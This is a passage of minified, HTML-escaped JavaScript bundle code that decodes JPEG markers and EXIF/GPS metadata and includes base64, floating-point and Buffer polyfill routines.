ot;,8822:&quot;exposureProgram&quot;,8824:&quot;spectralSensitivity&quot;,8825:&quot;gpsInfoIFDPointer&quot;,8827:&quot;photographicSensitivity&quot;,8828:&quot;oecf&quot;,8830:&quot;sensitivityType&quot;,8831:&quot;standardOutputSensitivity&quot;,8832:&quot;recommendedExposureIndex&quot;,8833:&quot;isoSpeed&quot;,8834:&quot;isoSpeedLatitudeyyy&quot;,8835:&quot;isoSpeedLatitudezzz&quot;,9e3:&quot;exifVersion&quot;,9003:&quot;dateTimeOriginal&quot;,9004:&quot;dateTimeDigitized&quot;,9101:&quot;componentsConfiguration&quot;,9102:&quot;compressedBitsPerPixel&quot;,9201:&quot;shutterSpeedValue&quot;,9202:&quot;apertureValue&quot;,9203:&quot;brightnessValue&quot;,9204:&quot;exposureBiasValue&quot;,9205:&quot;maxApertureValue&quot;,9206:&quot;subjectDistance&quot;,9207:&quot;meteringMode&quot;,9208:&quot;lightSource&quot;,9209:&quot;flash&quot;,9214:&quot;subjectArea&quot;,9286:&quot;userComment&quot;,9290:&quot;subSecTime&quot;,9291:&quot;subSecTimeOriginal&quot;,9292:&quot;subSecTimeDigitized&quot;,a000:&quot;flashpixVersion&quot;,a001:&quot;colorSpace&quot;,a002:&quot;pixelXDimension&quot;,a003:&quot;pixelYDimension&quot;,a004:&quot;relatedSoundFile&quot;,a005:&quot;interoperabilityIFDPointer&quot;,a20b:&quot;flashEnergy&quot;,a20c:&quot;spatialFrequencyResponse&quot;,a20e:&quot;focalPlaneXResolution&quot;,a20f:&quot;focalPlaneYResolution&quot;,a40a:&quot;sharpness&quot;,a40b:&quot;deviceSettingDescription&quot;,a40c:&quot;subjectDistanceRange&quot;,a210:&quot;focalPlaneResolutionUnit&quot;,a214:&quot;subjectLocation&quot;,a215:&quot;exposureIndex&quot;,a217:&quot;sensingMethod&quot;,a300:&quot;fileSource&quot;,a301:&quot;sceneType&quot;,a302:&quot;cfaPattern&quot;,a401:&quot;customRendered&quot;,a402:&quot;exposureMode&quot;,a403:&quot;whiteBalance&quot;,a404:&quot;digitalZoomRatio&quot;,a405:&quot;focalLengthIn35mmFilm&quot;,a406:&quot;sceneCaptureType&quot;,a407:&quot;gainControl&quot;,a408:&quot;contrast&quot;,a409:&quot;saturation&quot;,a420:&quot;imageUniqueID&quot;,a430:&quot;cameraOwnerName&quot;,a431:&quot;bodySerialNumber&quot;,a432:&quot;lensSpecification&quot;,a433:&quot;lensMake&quot;,a434:&quot;lensModel&quot;,a435:&quot;lensSerialNumber&quot;,a500:&quot;gamma&quot;},gps:{&quot;0000&quot;:&quot;gpsVersionID&quot;,&quot;0001&quot;:&quot;gpsLatitudeRef&quot;,&quot;0002&quot;:&quot;gpsLatitude&quot;,&quot;0003&quot;:&quot;gpsLongitudeRef&quot;,&quot;0004&quot;:&quot;gpsLongitude&quot;,&quot;0005&quot;:&quot;gpsAltitudeRef&quot;,&quot;0006&quot;:&quot;gpsAltitude&quot;,&quot;0007&quot;:&quot;gpsTimeStamp&quot;,&quot;0008&quot;:&quot;gpsSatellites&quot;,&quot;0009&quot;:&quot;gpsStatus&quot;,&quot;000a&quot;:&quot;gpsMeasureMode&quot;,&quot;000b&quot;:&quot;gpsDOP&quot;,&quot;000c&quot;:&quot;gpsSpeedRef&quot;,&quot;000d&quot;:&quot;gpsSpeed&quot;,&quot;000e&quot;:&quot;gpsTrackRef&quot;,&quot;000f&quot;:&quot;gpsTrack&quot;,&quot;0010&quot;:&quot;gpsImgDirectionRef&quot;,&quot;0011&quot;:&quot;gpsImgDirection&quot;,&quot;0012&quot;:&quot;gpsMapDatum&quot;,&quot;0013&quot;:&quot;gpsDestLatitudeRef&quot;,&quot;0014&quot;:&quot;gpsDestLatitude&quot;,&quot;0015&quot;:&quot;gpsDestLongitudeRef&quot;,&quot;0016&quot;:&quot;gpsDestLongitude&quot;,&quot;0017&quot;:&quot;gpsDestBearingRef&quot;,&quot;0018&quot;:&quot;gpsDestBearing&quot;,&quot;0019&quot;:&quot;gpsDestDistanceRef&quot;,&quot;001a&quot;:&quot;gpsDestDistance&quot;,&quot;001b&quot;:&quot;gpsProcessingMethod&quot;,&quot;001c&quot;:&quot;gpsAreaInformation&quot;,&quot;001d&quot;:&quot;gpsDateStamp&quot;,&quot;001e&quot;:&quot;gpsDifferential&quot;,&quot;001f&quot;:&quot;gpsHPositioningError&quot;}};class zbe{constructor(t){this.bigEndian=t,this.bytes=[0,1,1,2,4,8,1,1,2,4,8,4,8]}_getTagValue(t,r,n){switch(r){case 2:return t.toString(&quot;ascii&quot;).replace(/\0+$/,&quot;&quot;);case 129:return t.toString(&quot;utf8&quot;).replace(/\0+$/,&quot;&quot;);case 7:return&quot;0x&quot;+t.toString(&quot;hex&quot;);default:return this._getTagValueForNumericalData(t,r,n)}}_getTagValueForNumericalData(t,r,n){const i=[],s=this.bytes[r];for(let o=0;o&lt;n;o+=1)i.push(this._getSingleTagValueForNumericalData(t,r,o*s));return i.length===1?i[0]:i}_getSingleTagValueForNumericalData(t,r,n){const i=l=&gt;this.bigEndian?w9(t,l):E9(t,l),s=l=&gt;this.bigEndian?hj(t,l):mj(t,l),o=l=&gt;this.bigEndian?hq(t,l):mq(t,l);switch(r){case 1:return fq(t,n);case 3:return i(n);case 4:return s(n);case 5:return s(n)/s(n+4);case 9:return o(n);case 10:return o(n)/o(n+4)}}_decodeIDFEntries(t,r,n,i=!1){let s=2+n;const o={},l=u=&gt;this.bigEndian?w9(t,u):E9(t,u),c=u=&gt;this.bigEndian?hj(t,u):mj(t,u),d=l(n);for(let u=0;u&lt;d;u++){const h=t.slice(s,s+2),p=l(s+2),A=c(s+4),y=this.bytes[p],v=A*y;let w=t.slice(s+8,s+12);if(v&gt;4){const _=this.bigEndian?hj(w,0):mj(w,0);w=t.slice(_,_+v)}const j=this._getTagValue(w,p,A),E=this.bigEndian?C9(h):C9(h.reverse()),S=r[E];o[S]=j,s+=12}return o}decode(t,r){const n=t.buffer.slice(t.pos-8),i=r.offsetToFirstIFD;if(i&gt;n.length)return t.pos+=r.parent.length-16,{};const s=this._decodeIDFEntries(n,pj.ifd,i),{exifIFDPointer:o,gpsInfoIFDPointer:l}=s;if(o&amp;&amp;(s.subExif=this._decodeIDFEntries(n,pj.ifd,o)),l){const c=l;s.gpsInfo=this._decodeIDFEntries(n,pj.gps,c,!0)}return t.pos+=r.parent.length-16,s}}const $be=e=&gt;{const t=e?Do:ige,r=e?xH:sge;return new ct({fortyTwo:t,offsetToFirstIFD:r,entries:new zbe(e)})};class Hbe{decode(t,r){const i=Pbe(t.buffer.slice(t.pos,t.pos+2))===&quot;MM&quot;;return t.pos+=2,$be(i).decode(t,r).entries}}const qbe={name:()=&gt;&quot;EXIF&quot;,length:Do,identifier:new Di(6),entries:new Hbe},Gbe={name:()=&gt;&quot;JFIF&quot;,length:Do,identifier:new Di(5),version:Do,units:lr,xDensity:Do,yDensity:Do,thumbnailWidth:lr,thumbnailHeight:lr};class Vbe{decode(t){const r=t.buffer.slice(t.pos);let n=0,i=r.indexOf(255);for(;i!==-1;){n=i;const s=r[n+1],o=s&gt;=208&amp;&amp;s&lt;=215;if(s!==0&amp;&amp;!o)break;i=r.indexOf(255,i+1)}return t.pos+=n,r.slice(0,n)}}const Wbe=new ct({scanComponentSelector:lr,entropyCodingTable:new cl(1)}),Kbe={name:()=&gt;&quot;SOS&quot;,length:Do,numberOfImageComponents:lr,componentSpecifications:new Ye(Wbe,e=&gt;e.numberOfImageComponents),startOfSpectral:lr,endOfSpectral:lr,successiveApproximationBit:new cl(1),data:new Vbe},Ybe=new ct({id:lr,samplingFactors:lr,quantizationTableId:lr}),ru={name:()=&gt;&quot;SOF&quot;,length:Do,precision:lr,height:Do,width:Do,numberOfComponents:lr,components:new Ye(Ybe,e=&gt;e.numberOfComponents)},Zbe={name:()=&gt;&quot;SOI&quot;},Jbe={length:Do,buf:new cl(e=&gt;e.length-2)},Xbe=Array(63).fill(0).reduce((e,t,r)=&gt;({...e,[r+65472]:Jbe}),{}),e5e=new Un(Do,{...Xbe,65472:ru,65473:ru,65474:ru,65475:ru,65476:Obe,65477:ru,65478:ru,65479:ru,65481:ru,65482:ru,65483:ru,65484:Tbe,65485:ru,65486:ru,65487:ru,65496:Zbe,65497:Ube,65498:Kbe,65499:Lbe,65501:Mbe,65504:Gbe,65505:qbe}),t5e=new Ye(e5e),r5e=e=&gt;t5e.fromBuffer(e).map(({version:r,...n})=&gt;({type:r,...n})),pq={decode:r5e};var yg=typeof global&lt;&quot;u&quot;?global:typeof self&lt;&quot;u&quot;?self:typeof window&lt;&quot;u&quot;?window:{},Dd=[],Vu=[],n5e=typeof Uint8Array&lt;&quot;u&quot;?Uint8Array:Array,uB=!1;function gq(){uB=!0;for(var e=&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&quot;,t=0,r=e.length;t&lt;r;++t)Dd[t]=e[t],Vu[e.charCodeAt(t)]=t;Vu[45]=62,Vu[95]=63}function i5e(e){uB||gq();var t,r,n,i,s,o,l=e.length;if(l%4&gt;0)throw new Error(&quot;Invalid string. Length must be a multiple of 4&quot;);s=e[l-2]===&quot;=&quot;?2:e[l-1]===&quot;=&quot;?1:0,o=new n5e(l*3/4-s),n=s&gt;0?l-4:l;var c=0;for(t=0,r=0;t&lt;n;t+=4,r+=3)i=Vu[e.charCodeAt(t)]&lt;&lt;18|Vu[e.charCodeAt(t+1)]&lt;&lt;12|Vu[e.charCodeAt(t+2)]&lt;&lt;6|Vu[e.charCodeAt(t+3)],o[c++]=i&gt;&gt;16&amp;255,o[c++]=i&gt;&gt;8&amp;255,o[c++]=i&amp;255;return s===2?(i=Vu[e.charCodeAt(t)]&lt;&lt;2|Vu[e.charCodeAt(t+1)]&gt;&gt;4,o[c++]=i&amp;255):s===1&amp;&amp;(i=Vu[e.charCodeAt(t)]&lt;&lt;10|Vu[e.charCodeAt(t+1)]&lt;&lt;4|Vu[e.charCodeAt(t+2)]&gt;&gt;2,o[c++]=i&gt;&gt;8&amp;255,o[c++]=i&amp;255),o}function a5e(e){return Dd[e&gt;&gt;18&amp;63]+Dd[e&gt;&gt;12&amp;63]+Dd[e&gt;&gt;6&amp;63]+Dd[e&amp;63]}function s5e(e,t,r){for(var n,i=[],s=t;s&lt;r;s+=3)n=(e[s]&lt;&lt;16)+(e[s+1]&lt;&lt;8)+e[s+2],i.push(a5e(n));return i.join(&quot;&quot;)}function I9(e){uB||gq();for(var t,r=e.length,n=r%3,i=&quot;&quot;,s=[],o=16383,l=0,c=r-n;l&lt;c;l+=o)s.push(s5e(e,l,l+o&gt;c?c:l+o));return n===1?(t=e[r-1],i+=Dd[t&gt;&gt;2],i+=Dd[t&lt;&lt;4&amp;63],i+=&quot;==&quot;):n===2&amp;&amp;(t=(e[r-2]&lt;&lt;8)+e[r-1],i+=Dd[t&gt;&gt;10],i+=Dd[t&gt;&gt;4&amp;63],i+=Dd[t&lt;&lt;2&amp;63],i+=&quot;=&quot;),s.push(i),s.join(&quot;&quot;)}function rE(e,t,r,n,i){var s,o,l=i*8-n-1,c=(1&lt;&lt;l)-1,d=c&gt;&gt;1,u=-7,h=r?i-1:0,p=r?-1:1,A=e[t+h];for(h+=p,s=A&amp;(1&lt;&lt;-u)-1,A&gt;&gt;=-u,u+=l;u&gt;0;s=s*256+e[t+h],h+=p,u-=8);for(o=s&amp;(1&lt;&lt;-u)-1,s&gt;&gt;=-u,u+=n;u&gt;0;o=o*256+e[t+h],h+=p,u-=8);if(s===0)s=1-d;else{if(s===c)return o?NaN:(A?-1:1)*(1/0);o=o+Math.pow(2,n),s=s-d}return(A?-1:1)*o*Math.pow(2,s-n)}function Aq(e,t,r,n,i,s){var o,l,c,d=s*8-i-1,u=(1&lt;&lt;d)-1,h=u&gt;&gt;1,p=i===23?Math.pow(2,-24)-Math.pow(2,-77):0,A=n?0:s-1,y=n?1:-1,v=t&lt;0||t===0&amp;&amp;1/t&lt;0?1:0;for(t=Math.abs(t),isNaN(t)||t===1/0?(l=isNaN(t)?1:0,o=u):(o=Math.floor(Math.log(t)/Math.LN2),t*(c=Math.pow(2,-o))&lt;1&amp;&amp;(o--,c*=2),o+h&gt;=1?t+=p/c:t+=p*Math.pow(2,1-h),t*c&gt;=2&amp;&amp;(o++,c/=2),o+h&gt;=u?(l=0,o=u):o+h&gt;=1?(l=(t*c-1)*Math.pow(2,i),o=o+h):(l=t*Math.pow(2,h-1)*Math.pow(2,i),o=0));i&gt;=8;e[r+A]=l&amp;255,A+=y,l/=256,i-=8);for(o=o&lt;&lt;i|l,d+=i;d&gt;0;e[r+A]=o&amp;255,A+=y,o/=256,d-=8);e[r+A-y]|=v*128}var o5e={}.toString,xq=Array.isArray||function(e){return o5e.call(e)==&quot;[object Array]&quot;};var vq=50;Dt.TYPED_ARRAY_SUPPORT=yg.TYPED_ARRAY_SUPPORT!==void 0?yg.TYPED_ARRAY_SUPPORT:!0;var l5e=kw();function kw(){return Dt.TYPED_ARRAY_SUPPORT?2147483647:1073741823}function zf(e,t){if(kw()&lt;t)throw new RangeError(&quot;Invalid typed array length&quot;);return Dt.TYPED_ARRAY_SUPPORT?(e=new Uint8Array(t),e.__proto__=Dt.prototype):(e===null&amp;&amp;(e=new Dt(t)),e.length=t),e}function Dt(e,t,r){if(!Dt.TYPED_ARRAY_SUPPORT&amp;&amp;!(this instanceof Dt))return new Dt(e,t,r);if(typeof e==&quot;number&quot;){if(typeof t==&quot;string&quot;)throw new Error(&quot;If encoding is specified then the first argument must be a string&quot;);return dB(this,e)}return yq(this,e,t,r)}Dt.poolSize=8192;Dt._augment=function(e){return e.__proto__=Dt.prototype,e};function yq(e,t,r,n){if(typeof t==&quot;number&quot;)throw new TypeError(&#039;&quot;value&quot; argument must not be a number&#039;);return typeof ArrayBuffer&lt;&quot;u&quot;&amp;&amp;t instanceof ArrayBuffer?d5e(e,t,r,n):typeof t==&quot;string&quot;?u5e(e,t,r):f5e(e,t)}Dt.from=function(e,t,r){return yq(null,e,t,r)};Dt.TYPED_ARRAY_SUPPORT&amp;&amp;(Dt.prototype.__proto__=Uint8Array.prototype,Dt.__proto__=Uint8Array,typeof Symbol&lt;&quot;u&quot;&amp;&amp;Symbol.species&amp;&amp;Dt[Symbol.species]);function bq(e){if(typeof e!=&quot;number&quot;)throw new TypeError(&#039;&quot;size&quot; argument must be a number&#039;);if(e&lt;0)throw new RangeError(&#039;&quot;size&quot; argument must not be negative&#039;)}function c5e(e,t,r,n){return bq(t),t&lt;=0?zf(e,t):r!==void 0?typeof n==&quot;string&quot;?zf(e,t).fill(r,n):zf(e,t).fill(r):zf(e,t)}Dt.alloc=function(e,t,r){return c5e(null,e,t,r)};function dB(e,t){if(bq(t),e=zf(e,t&lt;0?0:fB(t)|0),!Dt.TYPED_ARRAY_SUPPORT)for(var r=0;r&lt;t;++r)e[r]=0;return e}Dt.allocUnsafe=function(e){return dB(null,e)};Dt.allocUnsafeSlow=function(e){return dB(null,e)};function u5e(e,t,r){if((typeof r!=&quot;string&quot;||r===&quot;&quot;)&amp;&amp;(r=&quot;utf8&quot;),!Dt.isEncoding(r))throw new TypeError(&#039;&quot;encoding&quot; must be a valid string encoding&#039;);var n=wq(t,r)|0;e=zf(e,n);var i=e.write(t,r);return i!==n&amp;&amp;(e=e.slice(0,i)),e}function PN(e,t){var r=t.length&lt;0?0:fB(t.length)|0;e=zf(e,r);for(var n=0;n&lt;r;n+=1)e[n]=t[n]&amp;255;return e}function d5e(e,t,r,n){if(t.byteLength,r&lt;0||t.byteLength&lt;r)throw new RangeError(&quot;&#039;offset&#039; is out of bounds&quot;);if(t.byteLength&lt;r+(n||0))throw new RangeError(&quot;&#039;length&#039; is out of bounds&quot;);return r===void 0&amp;&amp;n===void 0?t=new Uint8Array(t):n===void 0?t=new Uint8Array(t,r):t=new Uint8Array(t,r,n),Dt.TYPED_ARRAY_SUPPORT?(e=t,e.__proto__=Dt.prototype):e=PN(e,t),e}function f5e(e,t){if(Zd(t)){var r=fB(t.length)|0;return e=zf(e,r),e.length===0||t.copy(e,0,0,r),e}if(t){if(typeof ArrayBuffer&lt;&quot;u&quot;&amp;&amp;t.buffer instanceof ArrayBuffer||&quot;length&quot;in t)return typeof t.length!=&quot;number&quot;||D5e(t.length)?zf(e,0):PN(e,t);if(t.type===&quot;Buffer&quot;&amp;&amp;xq(t.data))return PN(e,t.data)}throw new TypeError(&quot;First argument must be a string, Buffer, ArrayBuffer, Array, or array-like object.&quot;)}function fB(e){if(e&gt;=kw())throw new RangeError(&quot;Attempt to allocate Buffer larger than maximum size: 0x&quot;+kw().toString(16)+&quot; bytes&quot;);return e|0}function h5e(e){return+e!=e&amp;&amp;(e=0),Dt.alloc(+e)}Dt.isBuffer=Yp;function Zd(e){return!!(e!=null&amp;&amp;e._isBuffer)}Dt.compare=function(t,r){if(!Zd(t)||!Zd(r))throw new TypeError(&quot;Arguments must be Buffers&quot;);if(t===r)return 0;for(var n=t.length,i=r.length,s=0,o=Math.min(n,i);s&lt;o;++s)if(t[s]!==r[s]){n=t[s],i=r[s];break}return n&lt;i?-1:i&lt;n?1:0};Dt.isEncoding=function(t){switch(String(t).toLowerCase()){case&quot;hex&quot;:case&quot;utf8&quot;:case&quot;utf-8&quot;:case&quot;ascii&quot;:case&quot;latin1&quot;:case&quot;binary&quot;:case&quot;base64&quot;:case&quot;ucs2&quot;:case&quot;ucs-2&quot;:case&quot;utf16le&quot;:case&quot;utf-16le&quot;:return!0;default:return!1}};Dt.concat=function(t,r){if(!xq(t))throw new TypeError(&#039;&quot;list&quot; argument must be an Array of Buffers&#039;);if(t.length===0)return Dt.alloc(0);var n;if(r===void 0)for(r=0,n=0;n&lt;t.length;++n)r+=t[n].length;var i=Dt.allocUnsafe(r),s=0;for(n=0;n&lt;t.length;++n){var o=t[n];if(!Zd(o))throw new TypeError(&#039;&quot;list&quot; argument must be an Array of Buffers&#039;);o.copy(i,s),s+=o.length}return i};function wq(e,t){if(Zd(e))return e.length;if(typeof ArrayBuffer&lt;&quot;u&quot;&amp;&amp;typeof ArrayBuffer.isView==&quot;function&quot;&amp;&amp;(ArrayBuffer.isView(e)||e instanceof ArrayBuffer))return e.byteLength;typeof e!=&quot;string&quot;&amp;&amp;(e=&quot;&quot;+e);var r=e.length;if(r===0)return 0;for(var n=!1;;)switch(t){case&quot;ascii&quot;:case&quot;latin1&quot;:case&quot;binary&quot;:return r;case&quot;utf8&quot;:case&quot;utf-8&quot;:case void 0:return _w(e).length;case&quot;ucs2&quot;:case&quot;ucs-2&quot;:case&quot;utf16le&quot;:case&quot;utf-16le&quot;:return r*2;case&quot;hex&quot;:return r&gt;&gt;&gt;1;case&quot;base64&quot;:return Bq(e).length;default:if(n)return _w(e).length;t=(&quot;&quot;+t).toLowerCase(),n=!0}}Dt.byteLength=wq;function m5e(e,t,r){var n=!1;if((t===void 0||t&lt;0)&amp;&amp;(t=0),t&gt;this.length||((r===void 0||r&gt;this.length)&amp;&amp;(r=this.length),r&lt;=0)||(r&gt;&gt;&gt;=0,t&gt;&gt;&gt;=0,r&lt;=t))return&quot;&quot;;for(e||(e=&quot;utf8&quot;);;)switch(e){case&quot;hex&quot;:return C5e(this,t,r);case&quot;utf8&quot;:case&quot;utf-8&quot;:return Iq(this,t,r);case&quot;ascii&quot;:return w5e(this,t,r);case&quot;latin1&quot;:case&quot;binary&quot;:return E5e(this,t,r);case&quot;base64&quot;:return y5e(this,t,r);case&quot;ucs2&quot;:case&quot;ucs-2&quot;:case&quot;utf16le&quot;:case&quot;utf-16le&quot;:return I5e(this,t,r);default:if(n)throw new TypeError(&quot;Unknown encoding: &quot;+e);e=(e+&quot;&quot;).toLowerCase(),n=!0}}Dt.prototype._isBuffer=!0;function Kp(e,t,r){var n=e[t];e[t]=e[r],e[r]=n}Dt.prototype.swap16=function(){var t=this.length;if(t%2!==0)throw new RangeError(&quot;Buffer size must be a multiple of 16-bits&quot;);for(var r=0;r&lt;t;r+=2)Kp(this,r,r+1);return this};Dt.prototype.swap32=function(){var t=this.length;if(t%4!==0)throw new RangeError(&quot;Buffer size must be a multiple of 32-bits&quot;);for(var r=0;r&lt;t;r+=4)Kp(this,r,r+3),Kp(this,r+1,r+2);return this};Dt.prototype.swap64=function(){var t=this.length;if(t%8!==0)throw new RangeError(&quot;Buffer size must be a multiple of 64-bits&quot;);for(var r=0;r&lt;t;r+=8)Kp(this,r,r+7),Kp(this,r+1,r+6),Kp(this,r+2,r+5),Kp(this,r+3,r+4);return this};Dt.prototype.toString=function(){var t=this.length|0;return t===0?&quot;&quot;:arguments.length===0?Iq(this,0,t):m5e.apply(this,arguments)};Dt.prototype.equals=function(t){if(!Zd(t))throw new TypeError(&quot;Argument must be a Buffer&quot;);return this===t?!0:Dt.compare(this,t)===0};Dt.prototype.inspect=function(){var t=&quot;&quot;,r=vq;return this.length&gt;0&amp;&amp;(t=this.toString(&quot;hex&quot;,0,r).match(/.{2}/g).join(&quot; &quot;),this.length&gt;r&amp;&amp;(t+=&quot; ... &quot;)),&quot;&lt;Buffer &quot;+t+&quot;&gt;&quot;};Dt.prototype.compare=function(t,r,n,i,s){if(!Zd(t))throw new TypeError(&quot;Argument must be a Buffer&quot;);if(r===void 0&amp;&amp;(r=0),n===void 0&amp;&amp;(n=t?t.length:0),i===void 0&amp;&amp;(i=0),s===void 0&amp;&amp;(s=this.length),r&lt;0||n&gt;t.length||i&lt;0||s&gt;this.length)throw new RangeError(&quot;out of range index&quot;);if(i&gt;=s&amp;&amp;r&gt;=n)return 0;if(i&gt;=s)return-1;if(r&gt;=n)return 1;if(r&gt;&gt;&gt;=0,n&gt;&gt;&gt;=0,i&gt;&gt;&gt;=0,s&gt;&gt;&gt;=0,this===t)return 0;for(var o=s-i,l=n-r,c=Math.min(o,l),d=this.slice(i,s),u=t.slice(r,n),h=0;h&lt;c;++h)if(d[h]!==u[h]){o=d[h],l=u[h];break}return o&lt;l?-1:l&lt;o?1:0};function Eq(e,t,r,n,i){if(e.length===0)return-1;if(typeof r==&quot;string&quot;?(n=r,r=0):r&gt;2147483647?r=2147483647:r&lt;-2147483648&amp;&amp;(r=-2147483648),r=+r,isNaN(r)&amp;&amp;(r=i?0:e.length-1),r&lt;0&amp;&amp;(r=e.length+r),r&gt;=e.length){if(i)return-1;r=e.length-1}else if(r&lt;0)if(i)r=0;else return-1;if(typeof t==&quot;string&quot;&amp;&amp;(t=Dt.from(t,n)),Zd(t))return t.length===0?-1:j9(e,t,r,n,i);if(typeof t==&quot;number&quot;)return t=t&amp;255,Dt.TYPED_ARRAY_SUPPORT&amp;&amp;typeof Uint8Array.prototype.indexOf==&quot;function&quot;?i?Uint8Array.prototype.indexOf.call(e,t,r):Uint8Array.prototype.lastIndexOf.call(e,t,r):j9(e,[t],r,n,i);throw new TypeError(&quot;val must be string, number or Buffer&quot;)}function j9(e,t,r,n,i){var s=1,o=e.length,l=t.length;if(n!==void 0&amp;&amp;(n=String(n).toLowerCase(),n===&quot;ucs2&quot;||n===&quot;ucs-2&quot;||n===&quot;utf16le&quot;||n===&quot;utf-16le&quot;)){if(e.length&lt;2||t.length&lt;2)return-1;s=2,o/=2,l/=2,r/=2}function c(A,y){return s===1?A[y]:A.readUInt16BE(y*s)}var d;if(i){var u=-1;for(d=r;d&lt;o;d++)if(c(e,d)===c(t,u===-1?0:d-u)){if(u===-1&amp;&amp;(u=d),d-u+1===l)return u*s}else u!==-1&amp;&amp;(d-=d-u),u=-1}else for(r+l&gt;o&amp;&amp;(r=o-l),d=r;d&gt;=0;d--){for(var h=!0,p=0;p&lt;l;p++)if(c(e,d+p)!==c(t,p)){h=!1;break}if(h)return d}return-1}Dt.prototype.includes=function(t,r,n){return this.indexOf(t,r,n)!==-1};Dt.prototype.indexOf=function(t,r,n){return Eq(this,t,r,n,!0)};Dt.prototype.lastIndexOf=function(t,r,n){return Eq(this,t,r,n,!1)};function p5e(e,t,r,n){r=Number(r)||0;var i=e.length-r;n?(n=Number(n),n&gt;i&amp;&amp;(n=i)):n=i;var s=t.length;if(s%2!==0)throw new TypeError(&quot;Invalid hex string&quot;);n&gt;s/2&amp;&amp;(n=s/2);for(var o=0;o&lt;n;++o){var l=parseInt(t.substr(o*2,2),16);if(isNaN(l))return o;e[r+o]=l}return o}function g5e(e,t,r,n){return aE(_w(t,e.length-r),e,r,n)}function Cq(e,t,r,n){return aE(k5e(t),e,r,n)}function A5e(e,t,r,n){return Cq(e,t,r,n)}function x5e(e,t,r,n){return aE(Bq(t),e,r,n)}function v5e(e,t,r,n){return aE(_5e(t,e.length-r),e,r,n)}Dt.prototype.write=function(t,r,n,i){if(r===void 0)i=&quot;utf8&quot;,n=this.length,r=0;else if(n===void 0&amp;&amp;typeof r==&quot;string&quot;)i=r,n=this.length,r=0;else if(isFinite(r))r=r|0,isFinite(n)?(n=n|0,i===void 0&amp;&amp;(i=&quot;utf8&quot;)):(i=n,n=void 0);else throw new Error(&quot;Buffer.write(string, encoding, offset[, length]) is no longer supported&quot;);var s=this.length-r;if((n===void 0||n&gt;s)&amp;&amp;(n=s),t.length&gt;0&amp;&amp;(n&lt;0||r&lt;0)||r&gt;this.length)throw new RangeError(&quot;Attempt to write outside buffer bounds&quot;);i||(i=&quot;utf8&quot;);for(var o=!1;;)switch(i){case&quot;hex&quot;:return p5e(this,t,r,n);case&quot;utf8&quot;:case&quot;utf-8&quot;:return g5e(this,t,r,n);case&quot;ascii&quot;:return Cq(this,t,r,n);case&quot;latin1&quot;:case&quot;binary&quot;:return A5e(this,t,r,n);case&quot;base64&quot;:return x5e(this,t,r,n);case&quot;ucs2&quot;:case&quot;ucs-2&quot;:case&quot;utf16le&quot;:case&quot;utf-16le&quot;:return v5e(this,t,r,n);default:if(o)throw new TypeError(&quot;Unknown encoding: &quot;+i);i=(&quot;&quot;+i).toLowerCase(),o=!0}};Dt.prototype.toJSON=function(){return{type:&quot;Buffer&quot;,data:Array.prototype.slice.call(this._arr||this,0)}};function y5e(e,t,r){return t===0&amp;&amp;r===e.length?I9(e):I9(e.slice(t,r))}function Iq(e,t,r){r=Math.min(e.length,r);for(var n=[],i=t;i&lt;r;){var s=e[i],o=null,l=s&gt;239?4:s&gt;223?3:s&gt;191?2:1;if(i+l&lt;=r){var c,d,u,h;switch(l){case 1:s&lt;128&amp;&amp;(o=s);break;case 2:c=e[i+1],(c&amp;192)===128&amp;&amp;(h=(s&amp;31)&lt;&lt;6|c&amp;63,h&gt;127&amp;&amp;(o=h));break;case 3:c=e[i+1],d=e[i+2],(c&amp;192)===128&amp;&amp;(d&amp;192)===128&amp;&amp;(h=(s&amp;15)&lt;&lt;12|(c&amp;63)&lt;&lt;6|d&amp;63,h&gt;2047&amp;&amp;(h&lt;55296||h&gt;57343)&amp;&amp;(o=h));break;case 4:c=e[i+1],d=e[i+2],u=e[i+3],(c&amp;192)===128&amp;&amp;(d&amp;192)===128&amp;&amp;(u&amp;192)===128&amp;&amp;(h=(s&amp;15)&lt;&lt;18|(c&amp;63)&lt;&lt;12|(d&amp;63)&lt;&lt;6|u&amp;63,h&gt;65535&amp;&amp;h&lt;1114112&amp;&amp;(o=h))}}o===null?(o=65533,l=1):o&gt;65535&amp;&amp;(o-=65536,n.push(o&gt;&gt;&gt;10&amp;1023|55296),o=56320|o&amp;1023),n.push(o),i+=l}return b5e(n)}var N9=4096;function b5e(e){var t=e.length;if(t&lt;=N9)return String.fromCharCode.apply(String,e);for(var r=&quot;&quot;,n=0;n&lt;t;)r+=String.fromCharCode.apply(String,e.slice(n,n+=N9));return r}function w5e(e,t,r){var n=&quot;&quot;;r=Math.min(e.length,r);for(var i=t;i&lt;r;++i)n+=String.fromCharCode(e[i]&amp;127);return n}function E5e(e,t,r){var n=&quot;&quot;;r=Math.min(e.length,r);for(var i=t;i&lt;r;++i)n+=String.fromCharCode(e[i]);return n}function C5e(e,t,r){var n=e.length;(!t||t&lt;0)&amp;&amp;(t=0),(!r||r&lt;0||r&gt;n)&amp;&amp;(r=n);for(var i=&quot;&quot;,s=t;s&lt;r;++s)i+=B5e(e[s]);return i}function I5e(e,t,r){for(var n=e.slice(t,r),i=&quot;&quot;,s=0;s&lt;n.length;s+=2)i+=String.fromCharCode(n[s]+n[s+1]*256);return i}Dt.prototype.slice=function(t,r){var n=this.length;t=~~t,r=r===void 0?n:~~r,t&lt;0?(t+=n,t&lt;0&amp;&amp;(t=0)):t&gt;n&amp;&amp;(t=n),r&lt;0?(r+=n,r&lt;0&amp;&amp;(r=0)):r&gt;n&amp;&amp;(r=n),r&lt;t&amp;&amp;(r=t);var i;if(Dt.TYPED_ARRAY_SUPPORT)i=this.subarray(t,r),i.__proto__=Dt.prototype;else{var s=r-t;i=new Dt(s,void 0);for(var o=0;o&lt;s;++o)i[o]=this[o+t]}return i};function Qo(e,t,r){if(e%1!==0||e&lt;0)throw new RangeError(&quot;offset is not uint&quot;);if(e+t&gt;r)throw new RangeError(&quot;Trying to access beyond buffer length&quot;)}Dt.prototype.readUIntLE=function(t,r,n){t=t|0,r=r|0,n||Qo(t,r,this.length);for(var i=this[t],s=1,o=0;++o&lt;r&amp;&amp;(s*=256);)i+=this[t+o]*s;return i};Dt.prototype.readUIntBE=function(t,r,n){t=t|0,r=r|0,n||Qo(t,r,this.length);for(var i=this[t+--r],s=1;r&gt;0&amp;&amp;(s*=256);)i+=this[t+--r]*s;return i};Dt.prototype.readUInt8=function(t,r){return r||Qo(t,1,this.length),this[t]};Dt.prototype.readUInt16LE=function(t,r){return r||Qo(t,2,this.length),this[t]|this[t+1]&lt;&lt;8};Dt.prototype.readUInt16BE=function(t,r){return 